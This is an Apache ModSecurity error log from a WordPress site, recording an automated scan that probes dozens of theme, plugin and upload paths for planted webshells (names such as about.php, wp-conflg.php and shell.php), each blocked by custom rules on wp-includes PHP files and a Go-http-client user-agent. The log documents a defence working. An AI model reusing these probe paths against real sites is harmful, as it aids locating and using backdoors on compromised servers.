[Sun Nov 23 08:59:53.459407 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.223:35517] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/about.php"] [unique_id "aSJciQdvEgJm2n2cDmpl1AAAAEg"]
[Sun Nov 23 08:59:53.683026 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.52:50389] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Transport/about.php"] [unique_id "aSJciQdvEgJm2n2cDmpl1QAAAE4"]
[Sun Nov 23 08:59:53.876630 2025] [:error] [pid 38824:tid 38828] [client 85.203.21.210:43137] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/about.php"] [unique_id "aSJciU8WZjXLvbHTHPcN0gAAAME"]
[Sun Nov 23 08:59:54.066334 2025] [:error] [pid 44652:tid 44718] [client 85.203.21.207:38073] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/page-list-item/about.php"] [unique_id "aSJcitiQFwsyXQDhwyAOpwAAAQw"]
[Sun Nov 23 08:59:54.252260 2025] [:error] [pid 44652:tid 44715] [client 85.203.21.168:26167] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-navigation-link/admin.php"] [unique_id "aSJcitiQFwsyXQDhwyAOqQAAAQk"]
[Sun Nov 23 08:59:54.506450 2025] [:error] [pid 38738:tid 38761] [client 85.203.21.202:24589] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-site/about.php"] [unique_id "aSJcigytc6TL9XavPmMcDgAAABM"]
[Sun Nov 23 08:59:54.775696 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.170:49383] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/src/user-profiles-additions/about.php"] [unique_id "aSJcigytc6TL9XavPmMcDwAAAAU"]
[Sun Nov 23 08:59:55.032600 2025] [:error] [pid 38740:tid 38817] [client 85.203.21.228:27423] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/about.php"] [unique_id "aSJciw13QPZSi6O8umXc-wAAAJU"]
[Sun Nov 23 08:59:55.230711 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.170:56489] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSJciwdvEgJm2n2cDmpl1gAAAFM"]
[Sun Nov 23 08:59:56.458346 2025] [:error] [pid 44652:tid 44719] [client 85.203.21.160:37079] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/tag-cloud/about.php"] [unique_id "aSJcjNiQFwsyXQDhwyAOrgAAAQ0"]
[Sun Nov 23 08:59:57.731021 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.162:28989] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/acxx.php"] [unique_id "aSJcjQytc6TL9XavPmMcEAAAABc"]
[Sun Nov 23 08:59:58.117765 2025] [:error] [pid 38739:tid 38780] [client 85.203.21.41:32659] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/newuser.php"] [unique_id "aSJcjgdvEgJm2n2cDmpl3AAAAEs"]
[Sun Nov 23 08:59:58.307388 2025] [:error] [pid 38824:tid 38836] [client 85.203.21.226:58623] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Exception/"] [unique_id "aSJcjk8WZjXLvbHTHPcN1gAAAMk"]
[Sun Nov 23 08:59:58.529059 2025] [:error] [pid 38824:tid 38851] [client 85.203.21.202:56749] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSJcjk8WZjXLvbHTHPcN1wAAANg"]
[Sun Nov 23 08:59:58.755831 2025] [:error] [pid 44652:tid 44721] [client 85.203.21.170:36575] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/ty.php"] [unique_id "aSJcjtiQFwsyXQDhwyAOsgAAAQ8"]
[Sun Nov 23 08:59:58.951338 2025] [:error] [pid 44652:tid 44710] [client 85.203.21.184:22615] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/file/"] [unique_id "aSJcjtiQFwsyXQDhwyAOswAAAQQ"]
[Sun Nov 23 08:59:59.161643 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.167:42201] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-date/"] [unique_id "aSJcj9iQFwsyXQDhwyAOtQAAAQg"]
[Sun Nov 23 08:59:59.415776 2025] [:error] [pid 38824:tid 38846] [client 85.203.21.204:48881] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aSJcj08WZjXLvbHTHPcN2AAAANM"]
[Sun Nov 23 08:59:59.753147 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.208:51333] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/form/"] [unique_id "aSJcjwdvEgJm2n2cDmpl3QAAAEQ"]
[Sun Nov 23 09:00:00.006674 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.197:23275] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/chosen.php"] [unique_id "aSJckAdvEgJm2n2cDmpl3gAAAFc"]
[Sun Nov 23 09:00:00.371284 2025] [:error] [pid 38739:tid 38793] [client 85.203.21.162:28609] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSJckAdvEgJm2n2cDmpl4QAAAFg"]
[Sun Nov 23 09:00:00.650077 2025] [:error] [pid 38824:tid 38839] [client 193.37.32.1:45467] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSJckE8WZjXLvbHTHPcN2QAAAMw"]
[Sun Nov 23 09:00:00.987731 2025] [:error] [pid 38740:tid 38814] [client 85.203.21.201:48805] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/styles/blocks/"] [unique_id "aSJckA13QPZSi6O8umXc_wAAAJI"]
[Sun Nov 23 09:00:01.367755 2025] [:error] [pid 38824:tid 38831] [client 85.203.21.172:60949] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/"] [unique_id "aSJckU8WZjXLvbHTHPcN3AAAAMQ"]
[Sun Nov 23 09:00:01.575565 2025] [:error] [pid 38824:tid 38849] [client 85.203.21.161:24639] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Auth/admin.php"] [unique_id "aSJckU8WZjXLvbHTHPcN3QAAANY"]
[Sun Nov 23 09:00:01.826489 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.221:65217] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/filester/assets/css/cc.php"] [unique_id "aSJckQytc6TL9XavPmMcFAAAABI"]
[Sun Nov 23 09:00:02.084941 2025] [:error] [pid 38738:tid 38754] [client 85.203.21.217:61055] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/modern/assets/images/"] [unique_id "aSJckgytc6TL9XavPmMcFQAAAAw"]
[Sun Nov 23 09:00:02.342140 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.222:61997] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/modern/includes/setup/config-setup.php"] [unique_id "aSJcktiQFwsyXQDhwyAOuQAAARE"]
[Sun Nov 23 09:00:02.576171 2025] [:error] [pid 38824:tid 38848] [client 85.203.21.161:58503] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Utility/admin.php"] [unique_id "aSJckk8WZjXLvbHTHPcN3gAAANU"]
[Sun Nov 23 09:00:02.807738 2025] [:error] [pid 38824:tid 38833] [client 193.37.32.2:40545] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/22x.php"] [unique_id "aSJckk8WZjXLvbHTHPcN3wAAAMY"]
[Sun Nov 23 09:00:03.016632 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.54:60387] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wolf.php"] [unique_id "aSJckwdvEgJm2n2cDmpl4wAAAFU"]
[Sun Nov 23 09:00:03.289869 2025] [:error] [pid 38824:tid 38829] [client 193.37.32.2:25045] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/files/admin.php"] [unique_id "aSJck08WZjXLvbHTHPcN4QAAAMI"]
[Sun Nov 23 09:00:03.523026 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.193:38181] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aSJckwytc6TL9XavPmMcGAAAAAg"]
[Sun Nov 23 09:00:03.892994 2025] [:error] [pid 38738:tid 38744] [client 85.203.21.58:29231] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/plupload/"] [unique_id "aSJckwytc6TL9XavPmMcGgAAAAI"]
[Sun Nov 23 09:00:04.195022 2025] [:error] [pid 38824:tid 38851] [client 85.203.21.226:40325] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/1.php"] [unique_id "aSJclE8WZjXLvbHTHPcN4wAAANg"]
[Sun Nov 23 09:00:09.479661 2025] [:error] [pid 38738:tid 38751] [client 85.203.21.176:52271] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/"] [unique_id "aSJcmQytc6TL9XavPmMcHwAAAAk"]
[Sun Nov 23 09:00:09.728631 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.197:52937] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/Mencintai.php"] [unique_id "aSJcmQdvEgJm2n2cDmpl6wAAAFY"]
[Sun Nov 23 09:00:10.234025 2025] [:error] [pid 38739:tid 38793] [client 85.203.21.156:22951] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/m.php"] [unique_id "aSJcmgdvEgJm2n2cDmpl7QAAAFg"]
[Sun Nov 23 09:00:10.571459 2025] [:error] [pid 38739:tid 38775] [client 85.203.21.184:31999] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bbn.php"] [unique_id "aSJcmgdvEgJm2n2cDmpl7gAAAEY"]
[Sun Nov 23 09:00:11.059849 2025] [:error] [pid 38738:tid 38763] [client 85.203.21.159:63483] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwenty/1.php"] [unique_id "aSJcmwytc6TL9XavPmMcIQAAABU"]
[Sun Nov 23 09:00:11.727952 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.204:27249] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/easy-bootstrap-shortcode-pro/1.php"] [unique_id "aSJcmwdvEgJm2n2cDmpl8wAAAEo"]
[Sun Nov 23 09:00:11.977977 2025] [:error] [pid 38738:tid 38755] [client 85.203.21.192:20693] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/really-simple-captcha/tmp/1.php"] [unique_id "aSJcmwytc6TL9XavPmMcJAAAAA0"]
[Sun Nov 23 09:00:12.203214 2025] [:error] [pid 38738:tid 38762] [client 85.203.21.176:33759] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/w3-total-cache/inc/1.php"] [unique_id "aSJcnAytc6TL9XavPmMcJQAAABQ"]
[Sun Nov 23 09:00:12.553269 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.188:50839] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/htdocs/shell.php"] [unique_id "aSJcnAytc6TL9XavPmMcJgAAAAE"]
[Sun Nov 23 09:00:13.948351 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.195:57543] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/public/admin.php"] [unique_id "aSJcnQytc6TL9XavPmMcKQAAAAo"]
[Sun Nov 23 09:00:19.191109 2025] [:error] [pid 38740:tid 38796] [client 85.203.21.52:62961] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin.php"] [unique_id "aSJcow13QPZSi6O8umXdBAAAAIA"]
[Sun Nov 23 09:00:19.519388 2025] [:error] [pid 38824:tid 38850] [client 85.203.21.41:39887] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wpai-woocommerce-add-on/models/import/about.php"] [unique_id "aSJco08WZjXLvbHTHPcN5QAAANc"]
[Sun Nov 23 09:00:20.043251 2025] [:error] [pid 38738:tid 38766] [client 85.203.21.54:60681] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/public_html/admin.php"] [unique_id "aSJcpAytc6TL9XavPmMcOwAAABg"]
[Sun Nov 23 09:00:20.239413 2025] [:error] [pid 38739:tid 38776] [client 85.203.21.228:28603] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/semplice4/assets/js/admin.php"] [unique_id "aSJcpAdvEgJm2n2cDmpmAwAAAEc"]
[Sun Nov 23 09:00:20.751200 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.57:56551] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Divi/et-pagebuilder/about.php"] [unique_id "aSJcpAytc6TL9XavPmMcPQAAAAo"]
[Sun Nov 23 09:00:20.990559 2025] [:error] [pid 44652:tid 44724] [client 85.203.21.201:52127] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/sounds/admin.php"] [unique_id "aSJcpNiQFwsyXQDhwyAOvgAAARI"]
[Sun Nov 23 09:00:21.215323 2025] [:error] [pid 38824:tid 38827] [client 85.203.21.176:42267] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/img/portfolio/seton/about.php"] [unique_id "aSJcpU8WZjXLvbHTHPcN5gAAAMA"]
[Sun Nov 23 09:00:21.463891 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.54:23415] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/img/portfolio/about.php"] [unique_id "aSJcpQdvEgJm2n2cDmpmBwAAAEk"]
